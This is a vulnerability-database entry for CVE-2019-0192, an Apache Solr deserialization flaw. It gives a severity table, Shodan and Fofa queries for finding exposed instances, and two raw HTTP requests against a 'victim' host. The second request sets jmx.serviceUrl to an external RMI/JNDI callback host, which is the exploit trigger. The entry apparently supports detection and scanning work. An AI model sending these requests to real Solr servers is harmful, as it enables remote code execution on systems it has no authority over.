| Title | Apache Solr - Deserialization of Untrusted Data |
|---|---|
| Author | hnd3884 |
| Severity | Critical |
| Impact | Unauthenticated attackers can trigger remote code execution via unsafe deserialization by pointing the JMX server to a malicious RMI server, leading to complete Solr server compromise. |
| Remediation | Upgrade to Apache Solr version 5.5.6, 6.6.6, or later versions that are not vulnerable. |
| CVSS Score | 9.8 |
| EPSS Score | 0.9304 |
| CVE ID | CVE-2019-0192 |
| CWE ID | CWE-502 |
| Shodan Query | title:"Solr" |
| Fofa Query | title="Solr |
| Tags | cve cve2019 apache solr deserialization rce oast vkev vuln |
In Apache Solr versions 5.0.0 to 5.5.5 and 6.0.0 to 6.6.5, the Config API allows to configure the JMX server via an HTTP POST request. By pointing it to a malicious RMI server, an attacker could take advantage of Solr’s unsafe deserialization to trigger remote code execution on the Solr side.
GET /solr/admin/cores?wt=json HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.4 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /solr/uVxEzd/config HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Content-Length: 115
Content-Type: application/json
Accept-Encoding: gzip
{"set-property":{"jmx.serviceUrl":"service:jmx:rmi:///jndi/rmi://d5jp53ple0o45d52011gx9a6moxr6ip59.oast.live/obj"}}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-0192.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-0192.pcap
N/AN/A